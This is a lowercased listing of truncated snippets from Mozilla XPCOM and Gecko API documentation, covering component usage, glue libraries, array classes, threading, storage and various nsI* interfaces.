has several pages for xmlhttprequest. below are some key differencies in "xml extras" between mozilla and microsoft software: difference microsoft mozilla member names case insensitive? begins with lower case letter xmlhttprequest creation new activexobject("msxml2.xmlhttp") new xmlhttprequest() xmlhttprequest.send("some string") ok ok
starting with milestone 0.9.7 (actually nightly 2001-11-28). with older builds, passing strings to send() works only in chrome, see post.html sample. the "workaround" is to use domparser object's parsefromstring() method to create a document from string, and pass the temporary document into send(). xmlhttprequest.open("ahost") ok file:// documents can access http:// documents but you nee...
XPCOM Glue without mozalloc
since these routines didn't exist prior to xulrunner 2.0, xpcom components that link against the frozen linkage dependent glue will not be compatible with xulrunner applications prior to 2.0. the solution is to link against xpcomglue_s_nomozalloc instead (xpcomglue_s_nomozalloc.lib on windows, libxpcomglue_s_nomozalloc.a on linux and mac). this library is new in xulrunner 2.0, and it's identical to xpcomglue_s, except that it's compiled without mozalloc. simply change all references to "xpcomglue_s" in your compiler and linker flags to "xpcomglue_s_nomozalloc". ...
XPCOM glue
tion where you want to embed gecko to show webpages in your own window. i.e. this linkage strategy is used when an embedder needs to bootstrap xpcom by finding a compatible gre on disk and loading it. in order to use xpcom, the embedding application first needs to find where the xpcom runtime is located. this is typically done using gre_getgrepathwithproperties. then, the code must call xpcomglue
startup, which will dynamically link against the xpcom runtime. only then can the embedding application initialize and use xpcom. embedding code which wishes to use only frozen symbols and cannot tolerate a load-time dependency on xpcom.dll should #define xpcom_glue 1 while compiling, and link against xpcomglue.lib. it should not link against xpcomglue_s.lib or xpcom.lib. embedders using the standalo...
XPCOM array guide
deleting objects requires gecko 6.0(firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) introduces the removeobjectsat() method to nscomarray<t>. this lets you delete multiple objects from the array at once by specifying the index to the first item to delete as well as the number of items to delete. for example, to remove three objects,
starting at the third object in the array (that is, the object with index value 2): myarray.removeobjectsat(2, 3); nstarray<t> nstarray<t> is a typesafe array for holding various objects. it can be used to hold objects directly, not just pointers to objects. usage it is most often used as a member of a c++ class to store a list of well-typed objects. it is also usually declared as an inline membe...
Avoiding leaks in JavaScript XPCOM components
ver created in the first place by making one of the pointers not own a reference (which carries the potential for crashes just like malloc and free). the potential causes of leaks with garbage collection (the next strategy) also apply to reference counting as well. garbage collection garbage collection is generally used to refer to algorithms that (1) determine which objects are still needed by
starting from a set of roots and finding all objects reachable from those objects and (2) returning all remaining objects to the heap. the roots include things like global variables and variables on the current call stack. mozilla's javascript engine uses one of the most common garbage collection algorithms, mark and sweep, in which the garbage collector clears the mark bit on each object, sets the mar...
Setting up the Gecko SDK
i used xpcomviewer, to make sure the class and the interface were showing. now you can use this component in your javascript extension. a makefile for unix on linux, the equivalent project settings are typically handled in a makefile. the makefile allows you to specify any number of options for your build environment...
Creating XPCOM components
s in xpcom coding for the registration process the registration methods creating an instance of your component weblock1.cpp using xpcom utilities to make things easier xpcom macros generic xpcom module macros common implementation macros declaration macros weblock2.cpp string classes in xpcom using strings nsembedstring and nsembedcstring smart pointers
starting weblock getting called at
startup registering for notifications getting access to the category manager providing access to weblock creating the weblock programming interface defining the weblock interface in xpidl the xpidl syntax scriptable interfaces subclassing nsisupports the web locking interface implementing weblock declaration macros representing re...
Making cross-thread calls using runnables
public: picalculatetask(picallback callback, int digits) : mcallback(callback) , mdigits(digits) { } ns_imethod run() { nscstring result; calculatepi(mdigits, result); nscomptr<nsirunnable> resultrunnable = new piresulttask(mcallback, result); ns_dispatchtomainthread(resultrunnable); } private: picallback mcallback; int mdigits; }; putting it all together to
start a new thread, create it using the thread manager: #include "nsxpcomcidinternal.h" void calculatepiasynchronously(int digits, picallback callback) { // to create a new thread, get the thread manager nscomptr<nsithreadmanager> tm = do_getservice(ns_threadmanager_contractid); nscomptr<nsithread> mythread; nsresult rv = tm->newthread(0, 0, getter_addrefs(mythread)); if (ns_failed(rv)) { ...
XPCOM guide
his guide documents the string classes which are visible to code within the mozilla codebase (code which is linked into libxul). mozilla::services namespacethe services c++ namespace offers an easy and efficient alternative for obtaining a service as compared to the indirect xpcom approach: getservice(), callgetservice(), etc methods are expensive and should be avoided when possible.receiving
startup notificationssometimes it's necessary for xpcom components to receive notifications as to the progress of the application's
startup process, so they can
start new services at appropriate times, for example.xpcom array guidemozilla has many array classes because each array is optimized for a particular usage pattern. this guide describes the available arrays as well as the enumerator classes tha...
How to build a binary XPCOM component using Visual Studio
lt glib-1.2.dll & libidl-0.6.dll libraries from wintools.zip download the sample project here is what the folder structure looks like: create a vc++ project visual studio project and file templates (or wizards) for creating xpcom modules and components do not currently exist. for now, you can use the included xpcom project that contains a simple xpcom component. you can use the project as a
starting point and modify the component files to add your own functionality. to make the project, you
start with a standard multi-thread dll project. then make the following tweaks: add "..\gecko-sdk\include" to additional include directories add "..\gecko-sdk\lib" to additional library directories add "nspr4.lib xpcom.lib xpcomglue_s.lib" to additional dependencies add "xp_win;xp_win32″ to prep...
Components.isSuccessCode
nsiasyncstreamcopier.init() has changed in gecko 1.9.2, omit last 2 boolean parameters if you're using gecko 1.9.1 and earlier. ...
Components.utils.evalInSandbox
ename, and line number of the code being evaluated. for instance: var x = components.utils.evalinsandbox( "let x = 1;", sandbox, "1.8", // "latest" is recognized as a special case "http://foo.com/mycode.js", 25 ); the above will execute code using javascript 1.8. any exceptions raised by the evaluated code will show as originating from the above url. the evaluated code is assumed to
start at line 25 of the document at that url. ...
Components.utils.importGlobalProperties
odule. knowing that, we can just get a valid blob by importing a known module that has the objects, such as services.jsm const {blob, file, services} = cu.import("resource://gre/modules/services.jsm", {}); reference: stackoverflow :: use blob on firefox add-on hiddendomwindow the hidden domwindow has all of these objects automatically imported. the downside of using hiddendomwindow is that on
startup of firefox, the hiddendomwindow objects cannot be accessed until it is fully loaded. therefore readystate must be checked, if it is not complete, then a load listener must be attached. once readystate is complete then the objects can be used. for example this is how to ues the file object. var domfile = services.appshell.hiddendomwindow.file('/path/to/file'); xpcom components some objects h...
Components.utils.unload
once this method has been called, references to the module will continue to work but any subsequent import of the module will reload it and give a new reference. if the javascript code module has not yet been imported then this method will do nothing. ...
PyXPCOM
ions. documentation building pyxpcom the instructions for building pyxpcom. creating a python xpcom component an example of how to create a simple xpcom component with python. getting to know pyxpcom pyxpcom is a bridging technology between xpcom and python. this article gives you a head
start to pyxpcom. note: the links to part ii and iii of this series are broken and i cannot find them on the ibm site. please update this page if/when the links can be found. history pyxpcom was initially developed by activestate tool corporation, and came out of their komodo project. current releases are now integrated with the mozilla build system. other resources pythonext ...
Using components
xpconnect works transparently in mozilla and xpcshell to give you access to xpcom components. commonly, we
start our scripts like so: var cc = components.classes; var ci = components.interfaces; if we want to get a hold of a component, we then do something like: var rc = cc["@mozilla.org/registry;1"]; var rs = rc.getservice(ci.nsiregistry); see also: xpcshell -- how to get a command line interface to javascript more info as was already stated, it is common to
start addon scripts like: var cc = components.classes; var ci = components.interfaces; there is also another way to
start, which is exactly equivalent to the above. var {cc: classes, ci: interfaces} = components; there are many more than just classes and interfaces. var { cu: utils, ci: interfaces, cc: classes, ...
xpcshell
e option, which tells xpcshell to use javascript 1.8. example you can input javascript, straight to mozilla. js> 5+7 12 js> print("hello, world!") hello, world! js> see also howto for common problems in writing xpcshell scripts, e.g., doing async network calls or using js modules. pretty much all mozilla programs use xpcom components via xpconnect. read xpconnect:using components to get
started with that. see the xpcshell reference for information on command line arguments and extension functions. learn how to write xpcshell-based unit tests. read xpcshell:profiling for information on how to profile scripts. ...
Language bindings
n-use memory isn't inadvertently collected.components.utils.setgczealthis method lets scripts set the zeal level for garbage collection. you can get details on what this method does in js_setgczeal. this method calls through to that thusly:components.utils.unloadcomponents.utils.unload was introduced in firefox 7 and is used to unload javascript code modules. ...
Cut
« xpcom api reference summary the cut function removes a section of the string's internal buffer. void cut( index_type acut
start, size_type acutlength ); parameters acut
start [in] the
starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. ...
Cut
« xpcom api reference summary the cut function removes a section of the string's internal buffer. void cut( index_type acut
start, index_type acutlength ); parameters acut
start [in] the
starting index of the section to remove, measured in storage units. acutlength [in] the length of the section to remove, measured in storage units. ...
IAccessible2
acent in the tab order, this can be used to detect the new control. another use of this value by an at is to identify when a grouping object has changed, for example when moving from a radio button in one group to a radio button in a different group. one means of implementing this would be to create a factory with a 32 bit number generator and a reuse pool. the number generator would emit numbers
starting at 1. each time an object's life cycle ended, its number would be saved into a reuse pool. the number generator would be used whenever the reuse pool was empty. [propget] hresult uniqueid( [out] long uniqueid ); parameters uniqueid return value s_ok. windowhandle() returns the window handle for the parent window which contains this object. this is the same window handle which will be pa...
amIWebInstallPrompt
last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method overview void confirm(in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, [optional] in pruint32 acount); prior to gecko 8.0, all references to nsidomwindow used in this interface were nsidomwindow. methods confirm() gets a confirmation that the user wants to
start the installs. void confirm( in nsidomwindow awindow, in nsiuri auri, [array, size_is(acount)] in nsivariant ainstalls, in pruint32 acount optional ); parameters awindow the window that triggered the installs. auri the uri of the site that triggered the installs. ainstalls the addoninstalls that were requested. acount optional the number of addoninstalls. ...
mozIJSSubScriptLoader
.utils.import for another way to import javascript code. method overview jsval loadsubscript(in string url, in object targetobj optional, in string charset optional); jsval loadsubscriptwithoptions(in string url, in object options); methods loadsubscript() synchronously loads and executes the script from the specified url. as of gecko 8.0, scripts are loaded from the
startup cache where possible. the loaded script is executed with the principal associated with the target object. any top-level functions or variables created by the loaded script via var are created as properties of the targetobj target object (but things declared via let and const are not). additionally, properties of the targetobj target object can be referred to as variables in the loaded script.
mozIRegistry
tially will emerge as an improved implementation of one of the moziregistry interfaces. i'll be discussing that implementation only briefly (mainly because i'm hoping i can pawn off the chore of implementing it to somebody else). there's another component that turns out to also be real important when you go to hook up your code with other mozilla components. that's the service manager. i'm just
starting to understand the role it plays in this and it isn't really under my jurisdiction, so there's nothing about it here right now. in the future, i'll either add the information about it or at least put in a link to it's documentation. higher-level application components this box represents all the potential user's of the core registry/repository interfaces. your code (most likely) falls in th...
mozIStorageFunction
e apis! nsivariant onfunctioncall( in mozistoragevaluearray afunctionarguments ); parameters afunctionarguments a mozistoragevaluearray holding the arguments passed in to the function. return value an nsivariant this is the return value of the function. sample code both of the following code samples assume that the variable dbconn is an opened mozistorageconnection. javascript
starting in gecko 1.9.1.4 (firefox 3.0.15), you can directly pass your function into the mozistorageconnection method mozistorageconnection, like this: dbconn.createfunction("square", 1, function(aarguments) { let value = aarguments.getint32(0); return value * value; }); // run some query that uses the function. let stmt = dbconn.createstatement("select square(value) from some_table"); try { ...
mozIStoragePendingStatement
g statement. fails only if you attempt to cancel the operation more than once. note: for read statements, such as select, once you cancel the statement, you will receive no further notifications about results. void cancel(); parameters none. return value in versions of gecko prior to gecko 1.9.2, this returned a boolean value that was true if the query was canceled successfully or false if not.
starting with gecko 1.9.2, this information is no longer provided and the method doesn't return a value. see also storage mozistorageconnection mozistoragestatement ...
nsIAccessNode
. note: renamed from accessibledocument in gecko 2.0 domnode node the dom node this nsiaccessnode is associated with. read only. firstchildnode nsiaccessnode the first nsiaccessnode child. read only. obsolete since gecko 2.0 innerhtml domstring the innerhtml for the dom node this is a text string of all the markup inside the dom node, not including the
start and end tag for the node. read only. language domstring the language for the current dom node, for example en, de, and so on. read only. lastchildnode nsiaccessnode the last nsiaccessnode child. read only. obsolete since gecko 2.0 nextsiblingnode nsiaccessnode the next nsiaccessnode sibling. read only. obsolete since gecko 2.0 numchildren ...
nsIAccessibleTextChangeEvent
sibleevent.idlscriptable please add a summary to this article. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview boolean isinserted(); attributes attribute type description length unsigned long returns length of changed text. read only. modifiedtext domstring the inserted or removed text. read only.
start long returns offset of changed text in accessible. read only. methods isinserted() boolean isinserted(); parameters none. return value true if text was inserted, otherwise false. ...
nsIApplicationUpdateService
ing downloaded. this information is most commonly used to update a user interface that informs the user as to the status of an update. void adddownloadlistener( in nsirequestobserver listener ); parameters listener an object implementing nsirequestobserver and optionally nsiprogresseventsink that will be notified of state and progress information as the update is downloaded. downloadupdate()
starts downloading a software update. astring downloadupdate( in nsiupdate update, in boolean background ); parameters update an nsiupdate object indicating the update to download. background true to download the update in the background or false to download it in the foreground. return value a string indicating the status of the update upon return: "downloading" the update is being downloa...
nsIAsyncStreamCopier
the specified observer is notified when the copy completes. void asynccopy( in nsirequestobserver aobserver, in nsisupports aobservercontext ); parameters aobserver receives notifications. aobservercontext the object to receive notifications with information about the progress of the copy operation. init() initializes the stream copier. note: at least one of the stream...
nsIBrowserHistory
to another interface in gecko 22.0. you should use nsinavhistoryservice.markpageastyped() instead. this method designates the url as having been explicitly typed in by the user, so it can be used as an autocomplete result. it is called by the url bar when the user types in a url. this can be and is called before the page is actually added to history, since the page isn't added until it actually
starts loading. the typed flag affects the url bar autocomplete. this will cause the transition type of the next visit of the url to be marked as "typed." void markpageastyped( in nsiuri auri ); parameters auri the page that is to be marked as typed by the user. registeropenpage() obsolete since gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) mark a page ...
nsICacheListener
ns_ok on success. see nsicacheservice for accessgranted values. void oncacheentryavailable( in nsicacheentrydescriptor descriptor, in nscacheaccessmode accessgranted, in nsresult status ); parameters descriptor the cache entry descriptor. accessgranted the cache access mode. status the status of the cache entry availability. oncacheentrydoomed() this method is called when the processing
started by nsicachesession.doomentry() is completed. void oncacheentrydoomed( in nsresult status ); parameters status the status is ns_ok when the entry was doomed, or ns_error_not_available when there is no such entry. see also nsicache nsicachesession nsicacheentrydescriptor ...
nsICacheService
or offline caching. 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is no longer supported and planned to be removed soon: use nsicachestorageservice instead. at the time of writing there is no documentation for nsicachestorageservice but comments are available in the source. note:
starting in gecko 2.0, cache i/o is handled asynchronously. method overview nsicachesession createsession(in string clientid, in nscachestoragepolicy storagepolicy, in boolean streambased); acstring createtemporaryclientid(in nscachestoragepolicy storagepolicy); obsolete since gecko 1.9.2 void evictentries(in nscachestoragepolicy storagepolicy); void init(); ob...
nsICacheVisitor
deviceinfo); boolean visitentry(in string deviceid, in nsicacheentryinfo entryinfo); methods visitdevice() this method is called to provide information about a cache device. boolean visitdevice( in string deviceid, in nsicachedeviceinfo deviceinfo ); parameters deviceid specifies the device being visited. deviceinfo specifies information about this device. return value returns true to
start visiting all entries for this device, otherwise returns false to advance to the next device. visitentry() this method is called to provide information about a cache entry. boolean visitentry( in string deviceid, in nsicacheentryinfo entryinfo ); parameters deviceid specifies the device being visited. entryinfo specifies information about this entry. return value returns true to visit the n...
nsICategoryManager
var enumerator = categorymanager.enumeratecategories(); var categories = []; while (enumerator.hasmoreelements()) { var item = enumerator.getnext(); var category = item.queryinterface(components.interfaces.nsisupportscstring) categories.push(category.tostring()); } categories.sort(); var categoriesstring = categories.join("\n"); dump(categoriesstring + "\n"); print out a list of app-
startup entries this example prints out a list of entries of "app-
startup" category. var categorymanager = components.classes["@mozilla.org/categorymanager;1"] .getservice(components.interfaces.nsicategorymanager); var enumerator = categorymanager.enumeratecategory("app-
startup"); var entries = []; while (enumerator.hasmoreelements()) { var item = enumerator.getnex...
nsIChannelEventSink
in control over various channel events, such as redirects. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) channels will try to get this interface from a channel's notificationcallbacks or, if not available there, from the loadgroup's notificationcallbacks. these methods are called before on
startrequest. note: prior to gecko 2.0, redirect handling was synchronous, using the onchannelredirect() method.
starting in gecko 2.0, that method no longer exists, and instead the asynconchannelredirect() method is called; this uses a callback to handle redirects asynchronously. method overview void asynconchannelredirect(in nsichannel oldchannel, in nsichannel newchannel, in unsigned lon...
nsICycleCollectorListener
ace to pass to the cycle collector to get information about the cycle collector graph while it is being built. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the order of calls will be call to begin(); then for every node in the graph a call to noteobject() and calls to noteedge() for every edge
starting at that node; then a call to begindescriptions(); then for every black node in the cycle collector graph a call to either describerefcountedobject() or to describegcedobject(); and then a call to end(). if begin() returns an error none of the other functions will be called. method overview void begin(); void begindescriptions(); void describegcedobject(in unsigned long long aaddress, in...
nsIDNSService
e.idlscriptable provides domain name resolution service. inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) implemented by: @mozilla.org/network/dns-service;1. to access the service, use: var dnsservice = components.classes["@mozilla.org/network/dns-service;1"] .createinstance(components.interfaces.nsidnsservice); note:
starting in gecko 7.0, the "happy eyeballs" strategy is used to reduce lengthy timeouts when attempting backup connections during attempts to connect from clients that have broken ipv6 connectivity. this is done by disabling ipv6 on backup connections. method overview nsicancelable asyncresolve(in autf8string ahostname, in unsigned long aflags, in nsidnslistener alistener, in nsieventtarget a...
nsIDOMChromeWindow
ts. read only. constants constant value description state_maximized 1 the window is maximized. state_minimized 2 the window is minimized. state_normal 3 the window is normal. state_fullscreen 4 the window is in full screen mode. methods beginwindowmove() on some operating systems, we must allow the window manager to handle window dragging. this method tells the window manager to
start dragging the window. this method will fail unless called while the left mouse button is held down, callers must check this. void beginwindowmove( in nsidomevent mousedownevent ); parameters mousedownevent exceptions thrown ns_error_not_implemented if the operating system does not support this method. getattention() void getattention(); parameters none. getattentionwithcyclecount() same a...
nsIDOMEvent
as originally dispatched. read only. timestamp domtimestamp used to specify the time (in milliseconds relative to the epoch) at which the event was created. due to the fact that some systems may not provide this information the value of timestamp may be not available for all events. when not available, a value of 0 will be returned. examples of epoch time are the time of the system
start or 0:0:0 utc 1st january 1970. read only. type domstring the name of the event (case-insensitive). the name must be an xml name. read only. constants constant value description none 0 the event is not being dispatched. capturing_phase 1 the current event phase is the capturing phase. at_target 2 the event is curre...
nsIDOMFileList
the nsidomfilelist interface contains a list of nsidomfile objects describing the files selected by the user for a "file" input field on a web form. gecko 1.9.2 note
starting in gecko 1.9.2, this is also used by the datatransfer object to support dragging and dropping files into web applications. this interface implements the dom filelist object. please see that documentation for details. see also filelist datatransfer drag and drop ...
nsIDOMGeoGeolocation
s to geolocation information. you can request a single notification of the user's current position, or you can monitor the position over time. dom/interfaces/geolocation/nsidomgeogeolocation.idlscriptable please add a summary to this article. last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports implemented by: @mozilla.org/geolocation;1. ...
nsIDOMMouseScrollEvent
in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis ); parameters typearg the type of event. must be one of "abort", "error", "load", "load
start", or "progress". canbubblearg specifies whether or not the created event will bubble. cancelablearg specifies whether or not the created event can be canceled. viewarg the nsidomabstractview in which the event occurred. detailarg screenxarg the x coordinate at which the event occurred, in screen coordinates. screenyarg...
nsIDOMProgressEvent
ic progressevent. it still is usable from native c++ code. initializes the progress event object. void initprogressevent( in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in boolean lengthcomputablearg, in unsigned long long loadedarg, in unsigned long long totalarg ); parameters typearg the type of event. must be one of "abort", "error", "load", "load
start", or "progress". canbubblearg specifies whether or not the created event will bubble. cancelablearg specifies whether or not the created event can be canceled. lengthcomputablearg if the size of the data to be transferred is known, this should be true. otherwise, specify false. loadedarg the number of bytes already transferred. must be a non-negative value. totalarg the total number of ...
nsIDOMStorageItem
dom/interfaces/storage/nsidomstorageitem.idlscriptable this interface represents an object in dom storage. this is for session storage. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) gecko 1.9.1 note
starting in gecko 1.9.1 (firefox 3.5), this is only used for session storage; previously, it was also used for global storage. attributes attribute type description secure boolean if true, the item was stored for an https page. note: all items, regardless of whether they were stored for an http page or an https page, are visible from https pages. however, http pages can only see items stored from http pages, and will not see items stored from https pages. as such, this att...
nsIDOMXPathEvaluator
nsisupports evaluate(in domstring expression, in nsidomnode contextnode, in nsidomxpathnsresolver resolver, in unsigned short type, in nsisupports result) methods createexpression() creates an nsidomxpathexpression which can then be used for (repeated) evaluations. note: prior to gecko 1.9, you could call this method on documents other than the one you planned to run the xpath against;
starting with gecko 1.9, however, you must call it on the same document. nsidomxpathexpression createexpression( in domstring expression, in nsidomxpathnsresolver resolver ); parameters expression a string representing the xpath to be created. resolver a name space resolver created by creatensresolver(), or a user defined name space resolver. read more on implementing a user ...
nsIDOMXULElement
elements with the given attribute that are not in a namespace. nsidomnodelist getelementsbyattribute( in domstring name, in domstring value ); parameters name the name of the attribute to search for. value the value of the attribute to search for, or "*" to search for the attribute without regard to the value. return value a list of elements with matching attributes that have no namespace.
starting in gecko 1.8 this is a live list of elements rather than a snapshot. getelementsbyattributens() searches the dom subtree for elements with the given attribute in the given namespace. nsidomnodelist getelementsbyattributens( in domstring namespaceuri, in domstring name, in domstring value ); parameters namespaceuri the namespace of the attribute to search for, or "*" to search attribute...
nsIDebug2
this is normally zero in release builds, but does include calls to nsidebug.assertion(). read only. isdebugbuild boolean whether xpcom was compiled with debug defined. this often correlates to whether other code (for example, firefox, xulrunner) was compiled with debug defined. read only. see also nsidebug ...
nsIDownload
his is only the case if the download is over http/1.1 or ftp and if the server supports it. read only. size long long the total size of the file in bytes, or ll_maxuint if the file's size is unknown. read only. source nsiuri the source uri of the download. read only. speed double the downloads transfer speed in bytes per second. read only.
starttime long long the time at which the transfer was
started. read only. state short the downloads current state. see nsidownloadmanager.constants. read only. target nsiuri the target of the transfer. read only. targetfile nsilocalfile indicates the location at which the downloaded file will be (or is, if the download is complete) stored. read onl...
nsIDownloadManagerUI
. constants constant value description reason_user_interacted 0 when opening the download manager user interface, this value indicates that it's being done at the user's request. reason_new_download 1 when opening the download manager user interface, this value indicates that the user interface is being displayed because a new download is being
started. methods getattention() calls attention to the download manager's user interface if it's already open. the ui need not be visible to call this function, nor will the ui be made visible. void getattention(); parameters none. exceptions thrown ns_error_unexpected the user interface isn't currently open. show() shows the download manager's user interface to the user. void sho...
nsIDragSession
ink and so on) for the current drag. (see nsidragservice) numdropitems unsigned long get the number of items that were dropped. read only. onlychromedrop boolean indicates if the drop event should be dispatched only to chrome. this allows chrome to handle a drag that was refused by content. sourcedocument nsidomdocument the document where the drag was
started, which will be null if the drag originated outside the application. useful for determining if a drop originated in the same document. read only. sourcenode nsidomnode the dom node that was originally dragged to
start the session, which will be null if the drag originated outside the application. read only. targetsize nssize sets the current width and height of the ...
nsIEditorIMESupport
utes attribute type description composing boolean whether this editor has active ime transaction. read only. methods native code only!begincomposition obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. handles the
start of inline input composition. void begincomposition( in nstexteventreplyptr areply ); parameters areply endcomposition() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) handles the end of inline input composition. void endcomposition(); parameters none. forcecompositionend() force the composition end. void forcecompositionend(); parameters n...
nsIEditorLogging
editor/idl/nsieditorlogging.idlscriptable please add a summary to this article. inherits from: nsisupports last changed in gecko 1.7 method overview void
startlogging(in nsifile alogfile); void stoplogging(); methods
startlogging()
start logging. void
startlogging( in nsifile alogfile ); parameters alogfile the file to which the log should be written. stoplogging() stop logging. void stoplogging(); parameters none. ...
nsIEffectiveTLDService
ns_error_insufficient_domain_levels this exception is thrown if there were insufficient subdomain levels in the hostname to satisfy the requested aadditionalparts value. ns_error_host_is_ip_address this exception is thrown if ahost is a numeric ipv4 or ipv6 address. remarks note: prior to gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), this method worked if you passed host strings
starting with a period ("."). that is no longer the case, since these are not valid host names. you should strip leading periods off host names before passing them to this method. getpublicsuffix() returns the public suffix of a uri. a public suffix is the highest-level domain under which individual domains may be registered; it may therefore contain one or more dots. for example, the public suffix ...
ExtensionManager (Toolkit)
the extensionmanager follows the nsiextensionmanager api. note: this api is obsolete
starting in gecko 2.0, and has been replaced by the new add-on manager. examples here is how to retrive all the extensions installed: var em = cc['@mozilla.org/extensions/manager;1'] .getservice(ci.nsiextensionmanager); const nsiupdateitem = ci.nsiupdateitem; var extension_type = nsiupdateitem.type_extension; items = em.getitemlist(extension_type, {}); items.foreach(function(item, index, array) { alert(item.name + " / " + item.id + " version: " + item.version); }); ...
nsIFeedProcessor
parses a feed asynchronously. the caller must then call the processor's nsistreamlistener methods to drive the parsing process. you must not call any of the other parsing methods on the nsifeedprocessor interface during an asynchronous parse. void parseasync( in nsirequestobserver requestobserver, in nsiuri uri ); parameters requestobserver the observer to be notified when parsing
starts and stops. this can be null. uri the base uri against which any uris in the feed are resolved. parsefromstream() parses a feed from an nsiinputstream. void parsefromstream( in nsiinputstream stream, in nsiuri uri ); parameters stream pointer to the nsiinputstream from which to read and parse the feed. uri the base uri against which any uris in the feed are resolved. parse...
nsIFile
normal file. boolean isfile(); parameters none. return value true if this nsifile corresponds to a normal file. otherwise it returns false. this method will throw ns_error_file_not_found if the path is invalid. to avoid this, check with nsifile.exists() first. ishidden() this method tests whether or not this nsifile corresponds to a file or directory that is hidden. in unix, hidden files
start with a period. on mac and windows, they have an attribute bit set. boolean ishidden(); parameters none. return value true if the file or directory is hidden. otherwise it returns false. isreadable() this method tests whether or not this nsifile corresponds to a file or directory that may be read by the user. boolean isreadable(); parameters none. return value true if the file or dir...
nsIFilePicker
ding extension, that should be suggested to the user as a default. this should be set before calling open() or show(). exceptions thrown ns_error_failure if you try to read this attribute. displaydirectory nsilocalfile the directory that the file picker dialog should initially display. this should be set this before calling open() or show() to specify a
starting point. file nsilocalfile the currently selected file or directory. read only. files nsisimpleenumerator an enumerator of the currently selected files. read only. note: only works with modeopenmultiple mode. fileurl nsiuri the uri of the currently selected file or directory. read only. filterindex long the (0-based) index of t...
nsIFrameLoader
enable forwarding. capture whether or not to capture these events. activateremoteframe() activates the remote frame. void activateremoteframe(); parameters none. exceptions thrown throws an exception with non-remote frames. destroy() destroys the frame loader and everything inside it. this will clear the weak owner content reference. void destroy(); parameters none. loadframe()
starts loading the frame. this method figures out what to load from the owner content in the frame loader. void loadframe(); parameters none. loaduri() loads the specified uri in this frame. behaves identically to loadframe(), except that this method lets you specify the uri to load. void loaduri( in nsiuri auri ); parameters auri the uri to load into the frame. sendcrossprocesskeyeven...
nsIHttpActivityObserver
activity_type_http_transaction 0x0002 http transport activity has occurred. activity subtype constants constant value description activity_subtype_request_header 0x5001 the http request is about to be queued for sending. observers can look at request headers in aextrastringdata activity_subtype_request_body_sent 0x5002 the http request's body has been sent. activity_subtype_response_
start 0x5003 the http response has
started to arrive. activity_subtype_response_header 0x5004 the http response header has arrived. activity_subtype_response_complete 0x5005 the complete http response has been received. activity_subtype_transaction_close 0x5006 the http transaction has been closed. methods observeactivity() called when activity occurs on the http transport. you should implemen...
nsIHttpChannelInternal
trap another protocol via the rfc 2616 upgrade request header in conjunction with a 101 level response. the nsihttpupgradelistener will have its nsihttpupgradelistener.ontransportavailable() method invoked if a matching 101 is processed. the arguments to nsihttpupgradelistener.ontransportavailable() provide to the new protocol the low level transport streams that are no longer used by http. the on
startrequest and onstoprequest events are still delivered and the listener gets full control over the socket if and when nsihttpupgradelistener.ontransportavailable() is delivered. void httpupgrade( in acstring aprotocolname, in nsihttpupgradelistener alistener ); parameters aprotocolname the value of the http upgrade request header. alistener the callback object used to handle a successful upgra...
nsIMacDockSupport
hen firefox will not be activated. the result of this code is shown below. notice how the "new window" and "new private window" menuitem's are missing. therefore, if you would like to add or remove items to the menu it is recommended to manipulate the default menu item which is on the hidden window of firefox. note: the hidden window of firefox (services.appshel.hiddendomwindow) loads on browser
startup, so if you would like to access it on
startup of the browser make sure to check and wait for the window to be loaded. this can be done by adding a event listenr for load of the hidden window. this is the recommended way to add to the native menu, just maniuplate the default menu dom element. var macmenuitem = services.appshell.hiddendomwindow.document.createelementns('http://www.mozilla.org/key...
nsIMemoryMultiReporter
back() method once for each report. this will trigger any needed computation work. note: this differs from the behavior of nsimemoryreporter, which lets all fields except amount be accessed without triggering computation. attributes attribute type description explicitnonheap print64 the sum of all of this multi-reporter's measurements that have a path that
starts with "explicit" and are of the kind kind_nonheap. note: this is a hack that makes nsimemoryreportermanager.explicit more efficient. this is important; multi-reporters can special-case this operation so it's much faster than gathering all the reports, filtering out the unneeded ones, and adding up the rest. method overview void collectreports(in nsimemorymultireporte...
nsIMessageWakeupService
content/base/public/nsimessagewakeupservice.idlscriptable implements the message manager wakeup service; this lets other components be woken up when specific message manager messages arrive. by using this service, you can avoid
starting those components until they're needed. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this service was introduced in gecko 5.0 on firefox for android, but was not provided on desktop until gecko 13.0 (firefox 13). there is no idl for this interface. the parentprocessmessagemanager is used for this, so messages send from childprocessmessagemanagers will be heard. requesting wakeups to request a wakeup, a wakeup condition must be registered w...
nsIMsgAccountManagerExtension
